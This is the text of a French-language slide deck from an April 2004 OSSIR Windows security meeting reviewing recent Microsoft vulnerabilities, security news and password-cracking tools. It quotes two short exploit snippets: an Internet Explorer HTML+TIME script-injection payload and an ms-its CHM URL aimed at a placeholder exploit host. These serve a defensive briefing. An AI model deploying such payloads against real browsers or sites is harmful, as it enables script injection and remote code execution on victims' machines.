



EdelWeb

OSSIR

Groupe Sécurité Windows

Réunion du 5 avril 2004





EdelWeb

Revue des dernières vulnérabilités Microsoft

Nicolas RUFF
nicolas.ruff@edelweb.fr

Dernières vulnérabilités

Avis Microsoft (1/1)



EdelWeb

- **Avis de sécurité Microsoft depuis le 08/03/2004**
 - **MS04-008 Bogue dans le serveur Media Services**
 - Affecte : Windows 2000 SP2, SP3, SP4 Server
 - Exploit : Vulnérabilité dans le filtre ISAPI "nsiislog.dll"
 - Microsoft parle de déni de service, exploitable ?
 - Source : Qualys
 - **MS04-009 Exécution de scripts en zone PdT via le tag "mailto:"**
 - Affecte : Outlook XP SP2 (le SP3 corrige cette vulnérabilité)
 - Exploit :
 - <http://www.iddefense.com/application/poi/display?id=79&type=vulnerabilities>
 - Niveau de risque : *moyen puis haut puis critique*
 - Source : iDefense
 - **MS04-010 Fuite d'information via Messenger**
 - Affecte : Messenger 6.0 et 6.1
 - Exploit : permet de lire n'importe quel fichier du disque dur
 - Source : "hackers" indépendants

Dernières vulnérabilités Infos Microsoft (1/3)



EdelWeb

■ Outils

- MyDoom / DoomJuice Cleaner
 - <http://www.microsoft.com/downloads/details.aspx?familyid=c14bfbe4-3d50-464d-a26c-9c287f8a08c5&displaylang=en>
- Recensement de parc logiciel
 - <http://www.microsoft.com/france/logicieloriginal/gerer/telechargement.msp>
x
- Kit sécurité gratuit
 - Hotfixes + firewall + antivirus
 - Délai 2 à 3 semaines ☺
 - <http://www.microsoft.com/france/securite/protection/cdrom.asp>

■ Microsoft fait la promotion du Haut Débit

- <http://www.microsoft.com/france/internet/ressources/dossiers/haut-debit/default.asp>
- Un pré-requis à NGSCB ?

■ Participation de Microsoft à la Virus Information Alliance

- <http://www.microsoft.com/technet/security/topics/virus/via.msp>



- **Le "centre de déploiement" des postes de travail**
 - Ressources sur Windows XP et Office
 - <http://www.microsoft.com/france/technet/themes/postedetravail/default.mspx>

- **Outil "LimitLogin" en Beta test**
 - Limite le nombre de sessions concurrentes sur un domaine Windows 2003
 - Inclus dans le futur Resource Kit pour Windows 2003
 - <https://beta.microsoft.com/>
 - ID : LLOGIN

Dernières vulnérabilités

Infos Microsoft (3/3)



EdelWeb

- **SUS 2.0 -> WUS (Windows Update Services)**
 - Beta disponible depuis le 16 mars

- **Encore des comparatifs Windows / Linux ...**
 - <http://www.microsoft.com/france/lesfaits/mousquetaires.asp>

- **Compte-rendu de l'intervention de Bill Gates à RSA Conf.**
 - <http://www.microsoft.com/billgates/speeches/2004/02-24rsa.asp>

- **Journées Microsoft Sécurité**
 - 4, 5, 6 mai
 - <http://www.microsoft.com/france/securite/conference/default.asp>
 - N'oubliez pas la JSSI le 4 mai 😊

Les Journées Microsoft de la Sécurité (pub)



En surface, tout est simple.

En profondeur, la **sécurité** devient cruciale.

Rendez-vous les **4**, **5** et **6** mai 2004 au CNIT Paris La Défense aux journées Microsoft de la sécurité

Réserver aux Développeurs

Réserver aux IT

Réserver aux Développeurs et aux IT

■ Thèmes :

- Enjeux et technologies (biométrie, crypto, PKI, IDS, législation, NGSCB)
- Développement d'applications sécurisées (méthodologie, Web, Windows, C/C++, .NET)
- Sécuriser l'infrastructure (Wi-Fi, ISA Server 2004, PKI Windows, gestion des identités, Active Directory)
- Sécuriser les systèmes, protéger les données (clients, serveurs, XP SP2, EFS, messagerie)
- Maintenir la sécurité (patch management, SUS 2.0, SMS, supervision avec MOM, hacking et contre mesures, Openhack)
- ...

■ Plus de 50 sessions dans 9 salles en parallèle

■ Lien vers l'inscription : <http://www.microsoft.com/france/securite>

Dernières vulnérabilités

Autres avis (1/4)



EdelWeb

■ Messages dans les virus

- Bagle
 - "Hey, NetSky, fuck off you bitch, don't ruine our bussiness, wanna start a war?"
- Mydoom
 - "Netsky is shitty app"
- Netsky.F
 - "Skynet AntiVirus - Bagle - you are a loser!!!!"
- Netsky.K
 - "Nous voulons détruire les activités des auteurs de programmes malveillants, en particulier Mydoom et Bagle. A F-Secure et aux autres [éditeurs de logiciels antivirus], nous ne voulons pas endommager les ordinateurs... Nous respectons votre travail (votre balayage heuristique n'est pas au point! Améliorez-le). Ceci est la dernière version de notre antivirus. Le code source sera publié sous peu."
- Sources
 - <http://www.branchez-vous.com/actu/04-03/08-172102.html>
 - <http://www.branchez-vous.com/actu/04-03/08-173502.html>

- Kaspersky détecte les ZIP avec mot de passe comme virus "générique" !
- 22% des PME (< 20p.) européennes ont du fermer pour nettoyer les virus
 - 50% en France
 - 30% en Italie



- **Décision de justice européenne concernant Microsoft (24 mars 2004)**
 - 5 ans d'enquête
 - Microsoft condamné en première instance à 497,2 millions d'euros d'amende (record européen)
 - Autres points
 - Windows Media Player ne devra pas être préinstallé
 - Amélioration de l'interopérabilité des interfaces dans les 120 jours
 - Etc.
 - Critiques américaines suite à cette décision

- **Bogue Yahoo et Hotmail ... spécifique à IE**
 - Due à une fonction de synchronisation appelée "HTML + TIME"
 - Exploit :
 - `<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time" />`
 - `<?import namespace="t" implementation="#default#time2">`
 - Optional text here ...
 - `<div>`
 - `<t:set attributeName="innerHTML" to="<script defer>alert()</script>A" />`
 - `</div>`
 - Source :
 - <http://www.greymagic.com/security/advisories/gm005-mc/>



■ Grosses activité autour du cassage de mots de passe

- RainbowCrack 1.2
 - Algos : LM, NTLM, MD2, MD4, MD5, SHA-1, RIPEMD-160
- <http://www.whitehat.co.il/news.php>
 - Charset "complet" (Rainbow Table de 118 Go)
 - Cracking on-line : 10\$ / mois
- <http://sarcaprij.wayreth.eu.org/>
 - Charset étendu # L0phtCrack (Rainbow Table de 18 Go)
 - Cracking on-line : gratuit

■ Nouveau bogue IE non patché

- Affecte : IE 6 sur XP SP1, autres non testés
- Exploit
 - ms-its:http:\\www.exploit.com\\exploit.chm::\\exploit.htm
- Variante de la faille MS-ITS exploitée par le ver Ibiza

Dernières vulnérabilités

Autres avis (4/4)



EdelWeb

- **Sécurité de IIS 6.0**
 - <http://www.securityfocus.com/infocus/1765>

- **Une liste non officielle des bogues .NET**
 - <http://www.jelovic.com/dotnetbugs/>

- **"Googling" sur les documents Word en mode révision**
 - <http://lcamtuf.coredump.cx/strikeout/>

- **Open Source Vulnerability Database**
 - <http://www.osvdb.org/>

- **Affaire ViGuard vs. Guillermito**
 - Affaire complexe, en cours de jugement



- Questions / réponses

- JSSI
 - Mardi 4 mai 2004

- Date de la prochaine réunion
 - Lundi 7 juin 2004

- N'hésitez pas à proposer des sujets et des salles